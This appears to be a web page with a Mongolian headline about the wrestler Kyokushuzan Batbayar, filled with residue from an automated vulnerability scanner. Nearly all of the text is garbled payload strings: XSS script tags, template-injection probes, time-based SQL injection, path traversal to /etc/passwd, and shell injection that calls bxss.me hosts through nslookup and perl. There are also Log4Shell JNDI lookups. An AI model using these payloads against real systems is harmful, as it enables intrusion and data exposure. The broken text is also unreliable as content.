КЁКҮШЮЗАН БАТБАЯР:ЧИНГИСИЙН ҮР САД ТОКИОГИЙН ОЛИМПЫН ӨМНӨ ГАРНА!

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

eTSXPH[!+!]

eS7T9q CSHX(9290)

e

e}body{acu:Expre/**/ SSion(CSHX(9986))}

e

e

e<ScRiPt>CSHX( 9922)</sCripT>

e\u003CScRiPt\CSHX(9 154)\u003C/sCripT\u0 03E

%65%3C%53%63%52%69%5 0%74%20%3E%43%53%48% 58%289620%29%3C%2F%7 3%43%72%69%70%54%3E

e

e

e

e

e

e

e

e

eCSHX(9020)

e

eCSHX(9598)

eCSHX(9228)

eCSHX(9891)

e

eUIYDA[!+!]

e

eCSHX(9945)

e

"acxzzzzzzzzbbbccccd ddeeexca".replace("z ","o")

acx__${98991*97996}_ _::.x

acx[[${98991*97996}] ]xca

acx{{98991*97996}}xc a

AAABBBCCC{{define "bla"}}bla{{end}}{{d efine "acx"}}xyz{{end}}{{t emplate "acx"}}CCCBBBAAA

acx{{'abcd'.toUpperC ase()}}xca

acx#{xca}=123

#{98991*97996*98991* 97996}

acx{{{this}}}xca

acx{@math key=98991 method="multiply" operand=97996/}xca

98991*97996*98991*97 996

print("acx" . 98991*97996 . "xca");

e

e

acx{{"abc"|title}}xc a

acx#set($x=98991*979 96)${x}xca

e

acxxca

acx@(98991*97996)xca

acx{{=98991*97996}}x ca

acx{@98991*97996}xca

acx{#98991*97996}xca

acx#{98991*97996}xca

acx${98991*97996}xca

acx{98991*97996}xca

acx{{98991*97996}}xc a

acx{{98991*97996}}xc a

e

acux3391z1z2abcxuca3 391

acu3869＜s1﹥s2ʺs 3ʹuca3869

e9126950

/\xfs.bxss.me

'"()&%CSHX(9159)

e'"()&%CSHX(9579)

//xfs.bxss.me

http://xfs.bxss.me

943229

/xfs.bxss.me

'"

send/.

send

)))))))))))))))))))) )))))))))))))))))))) )))))))))))))))))))) )))))))))

'.print(md5(31337)). '

send

${@print(md5(31337)) }\

'+'A'.concat(70-3).c oncat(22*4).concat(1 11).concat(75).conca t(99).concat(77)+(re quire'socket' Socket .gethostbyname('hitx m'+'wgprvjpedd47f.bx ss.me.')[3].to_s)+'

${@print(md5(31337)) }

"+"A".concat(70-3).c oncat(22*4).concat(1 22).concat(70).conca t(116).concat(78)+(r equire"socket" Socke t.gethostbyname("hit an"+"kxoyehxg3b544.b xss.me.")[3].to_s)+"

bxss.me/t/xss.html?% 00

";print(md5(31337)); $a="

HttP://bxss.me/t/xss .html?%00

';print(md5(31337)); $a='

;assert(base64_decod e('cHJpbnQobWQ1KDMxM zM3KSk7'));

".gethostbyname(lc(" hitor"."ioqadbmwaf97 8.bxss.me."))."A".ch r(67).chr(hex("58")) .chr(103).chr(85).ch r(98).chr(67)."

'.gethostbyname(lc(' hithk'.'bqnybrff2f2d 8.bxss.me.')).'A'.ch r(67).chr(hex('58')) .chr(121).chr(80).ch r(110).chr(87).'

^(#$!@#$)(()))******

'"()

!(()&&!|*|*|

bxss.me

)

http://bxss.me/t/fit .txt?.jpg

Http://bxss.me/t/fit .txt

e&n991413=v915231

1some_inexistent_fil e_with_long_name.jpg

http://some-inexiste nt-website.acu/some_ inexistent_file_with _long_name?.jpg

e

${9999627+10000315}

e

../e

e

12345'"\'\");|]*{ ' '

../../../../../../.. /../../../../../../. ./windows/win.ini

../../../../../../.. /../../../../../../. ./etc/passwd

3kReoBqy

e

e

;(nslookup hitepezgtwnbed9503.b xss.me||perl -e "gethostbyname('hite pezgtwnbed9503.bxss. me')")|(nslookup hitepezgtwnbed9503.b xss.me||perl -e "gethostbyname('hite pezgtwnbed9503.bxss. me')")&(nslookup hitepezgtwnbed9503.b xss.me||perl -e "gethostbyname('hite pezgtwnbed9503.bxss. me')")

@@NsdDG

`(nslookup hitvrkuukkpcy6586f.b xss.me||perl -e "gethostbyname('hitv rkuukkpcy6586f.bxss. me')")`

1%2527%2522

|(nslookup hitgmizanhshqb013f.b xss.me||perl -e "gethostbyname('hitg mizanhshqb013f.bxss. me')")

1'"

&(nslookup hituwcjnhahwb16241.b xss.me||perl -e "gethostbyname('hitu wcjnhahwb16241.bxss. me')")&'\"`0&(nslook up hituwcjnhahwb16241.b xss.me||perl -e "gethostbyname('hitu wcjnhahwb16241.bxss. me')")&`'

e'||DBMS_PIPE.RECEIV E_MESSAGE(CHR(98)||C HR(98)||CHR(98),15)| |'

$(nslookup hitpykcswpesw173db.b xss.me||perl -e "gethostbyname('hitp ykcswpesw173db.bxss. me')")

SmTaNs6v')) OR 468=(SELECT 468 FROM PG_SLEEP(15))--

(nslookup hitpwldxzrjdre490e.b xss.me||perl -e "gethostbyname('hitp wldxzrjdre490e.bxss. me')")

SVg15AHh') OR 153=(SELECT 153 FROM PG_SLEEP(15))--

|echo xwgzvw$()\ tlqpuh\nz^xyu||a #' |echo xwgzvw$()\ tlqpuh\nz^xyu||a #|" |echo xwgzvw$()\ tlqpuh\nz^xyu||a #

LFLKat54' OR 87=(SELECT 87 FROM PG_SLEEP(15))--

&echo lfsyvf$()\ jkbgrx\nz^xyu||a #' &echo lfsyvf$()\ jkbgrx\nz^xyu||a #|" &echo lfsyvf$()\ jkbgrx\nz^xyu||a #

IGMe7T7x'; waitfor delay '0:0:15' --

echo sndwtw$()\ hevrsm\nz^xyu||a #' &echo sndwtw$()\ hevrsm\nz^xyu||a #|" &echo sndwtw$()\ hevrsm\nz^xyu||a #

1 waitfor delay '0:0:15' --

(select(0)from(selec t(sleep(15)))v)/*'+( select(0)from(select (sleep(15)))v)+'"+(s elect(0)from(select( sleep(15)))v)+"*/

0"XOR(if(now()=sysda te(),sleep(15),0))XO R"Z

0'XOR(if(now()=sysda te(),sleep(15),0))XO R'Z

"+response.write(991 9160*9184616)+"

if(now()=sysdate(),s leep(15),0)

'+response.write(991 9160*9184616)+'

-1" OR 3+552-552-1=0+0+0+1 --

-1' OR 3+584-584-1=0+0+0+1 or 'uoAdaxdT'='

response.write(99191 60*9184616)

-1" OR 2+552-552-1=0+0+0+1 --

-1' OR 2+584-584-1=0+0+0+1 or 'uoAdaxdT'='

-1' OR 3+906-906-1=0+0+0+1 --

-1' OR 2+906-906-1=0+0+0+1 --

-1 OR 3+51-51-1=0+0+0+1

-1 OR 2+51-51-1=0+0+0+1

${${:::::::::::::::: :-j}ndi:dns${::::::: ::::::::::-:}//dns.l og4j..-10583..46cc4$ {::-.}1${::-.}bxss.m e}}

-1 OR 3+960-960-1=0+0+0+1 --

-1 OR 2+960-960-1=0+0+0+1 --

LQ0XFC3H

e

${j${::-n}di:dns${:: -:}//hittenmaljqoke3 515${::-.}bxss.me}zz zz

e

e

-1" OR 2+22-22-1=0+0+0+1 --

-1' OR 2+277-277-1=0+0+0+1 or 'usWw0Nuh'='

-1' OR 3+277-277-1=0+0+0+1 or 'usWw0Nuh'='

-1' OR 3+917-917-1=0+0+0+1 --

-1' OR 2+917-917-1=0+0+0+1 --

-1 OR 3+475-475-1=0+0+0+1

-1 OR 2+475-475-1=0+0+0+1

-1 OR 2+279-279-1=0+0+0+1 --

-1 OR 3+279-279-1=0+0+0+1 --

e

duAZPpJu

e

''""

'"

JyI=

@@UGcM2

1%2527%2522

\

1'"

e